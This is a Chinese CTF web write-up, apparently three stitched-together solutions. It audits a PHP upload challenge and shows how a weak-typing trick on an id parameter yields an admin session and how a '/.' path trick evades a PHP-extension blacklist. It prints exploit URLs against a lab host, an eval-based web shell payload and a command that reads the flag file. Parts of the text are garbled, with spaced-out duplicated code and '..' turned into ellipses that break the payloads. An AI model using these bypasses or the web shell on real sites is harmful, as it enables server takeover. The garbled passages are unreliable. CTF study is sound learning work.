(1)
步骤
1.进入题目后,查看源码进行审计,第一步需要进行绕过,获取到admin的session。
2.绕过要注意的三个点为:
(1)floatval($ _ GET [id])!==‘1’ //浮点不为1
(2)substr($ _ GET [id],-1)==='9‘ //id最后一位为9
(3)Mysql查询结果限制,id不能过大,
3.构建后exp为http://111.198.29.45:43136/index.php?page=&id=1/9&submit=提交查询#,可得到admin,如图所示
4.然后是文件过滤,要注意的三个点为:
(1) f i l e n a m e = " b a c k u p / " . filename = "backup/". filename="backup/".file; //目录为假目录,传入file时,加上一个…/
(2)’/.+.ph(p[3457]?|t|tml)$/i’ //正则过滤文件只匹配最后一个点的后缀,可以写入两次.php
(3)真实上传目录为upload
5.构建exp为file=…/123.php/1.php/…&con=,用post方式进行传递
6.访问http://111.198.29.45:38479/uploaded/123.php?bash=cat …/flag.php,查看源码,获得flag,如图所示
(2)
对源码进行审计
这段说当session为admin时可以上传文件,文件会保存到uploaded/backup目录下,但是使用黑名单过滤掉了ph(p[3457]?|t|tml)这些后缀。
这段说当传入的id值浮点值不能为1,但是id的最后一个数必须为9,session才能为admin。
利用php弱类型语言的特性可轻松绕过这一限制。
可看到现在已经是admin用户了,那就继续上传文件拿到shell。原本想的这里是否可以进行注入,是代码中使用了mysql_real_escape_string()函数 , 该函数用于转义SQL语句中使用的字符串中的特殊字符 , 防御SQL注入 . 虽然可以利用宽字符注入绕过这个防御机制 , 但是要求目标站点使用GBK编码 . 这些细节信息我都不知道 , 所以想要注入是比较难的.
那么如何访问上传的文件已经不再是问题 , 需要做的仅仅是突破这个正则过滤 . 正则对文件后缀进行限制 . 所以关键点还是在文件后缀名上
如何突破文件后缀名的限制?主要思路有如下三点
一种是Web中间件的解析漏洞 , 因为已经知道中间件是Apache2 , 使用的是PHP . 所以无非就是Apache解析漏洞或者PHP CGI解析漏洞
一种是通过上传.htaccess文件 , 该文件是Apache的一大特色 . 其中一个功能便是修改不同MIME类型文件使用的解析器 . 但要使用该功能需要Apache在配置文件中设置AllowOverride All , 并且启用Rewrite模块 , 经过测试发现上传的.htaccess无法生效
罕见文件后缀 , 想要解析PHP文件 , 并非后缀要是*.php . 如果查看mime.types , 会发现很多文件后缀都使用了application/x-httpd-php这个解析器
其中 phps 和 php3p 都是源代码文件 , 无法被执行 . 而剩下所有的后缀都被正则表过滤 , 所以这种方式也无法成功上传可执行文件
所以最后还是回到了中间件解析漏洞上 , 但是经过测试发现并不是常规的解析漏洞 , 而是利用了一个Linux的目录结构特性 , 请看下面代码
创建了一个目录为1.php , 在 1.php 下创建了一个子目录为 2.php 。Linux下每创建一个新目录 , 都会在其中自动创建两个隐藏文件。
其中 … 代表当前目录的父目录 , .代表当前目录 , 所以这里访问 ./1.php/2.php/… 代表访问 2.php的父目录 , 也就是访问 1.php 。
因此这里构造数据包时 , 可以构造如下POST数据
然后访问上传目录
可看到已将test.php上传了上去。
使用菜刀连接,即可得到shell,然后找到falg即可
但是我很奇怪的事,特么的我的菜刀是不是有问题,老是连不上,我裂开!!!!!
(3)
三个需要注意的地方:
f i l e n a m e = " b a c k u p / " . filename = "backup/". filename="backup/".file
通过后面目录修改可以判定这里为假目录,需要绕过,可以通过…/
绕过
preg_match(’/.+.ph(p[3457]?|t|tml)$/i’, f i l e n a m e ) 这 里 有 一 个 正 则 匹 配 , 很 明 显 这 里 只 匹 配 最 后 一 个 点 的 后 缀 , 可 以 使 用 f l a g . p h p / . 绕 过 c h d i r ( ′ u p l o a d e d ′ ) 这 里 表 示 我 们 真 实 目 录 为 u p l o a d e d / f l a g . p h p 构 造 木 马 进 行 上 传 c o n = < ? p h p @ e v a l ( filename) 这里有一个正则匹配,很明显这里只匹配最后一个点的后缀,可以 使用flag.php/.绕过 chdir('uploaded') 这里表示我们真实目录为uploaded/flag.php 构造木马进行上传 con=filename)这里有一个正则匹配,很明显这里只匹配最后一个点的后缀,可以使用flag.php/.绕过chdir(′uploaded′)这里表示我们真实目录为uploaded/flag.php构造木马进行上传con=<?php@eval(_POST[‘admin’]);?>&file=…/flag.php/.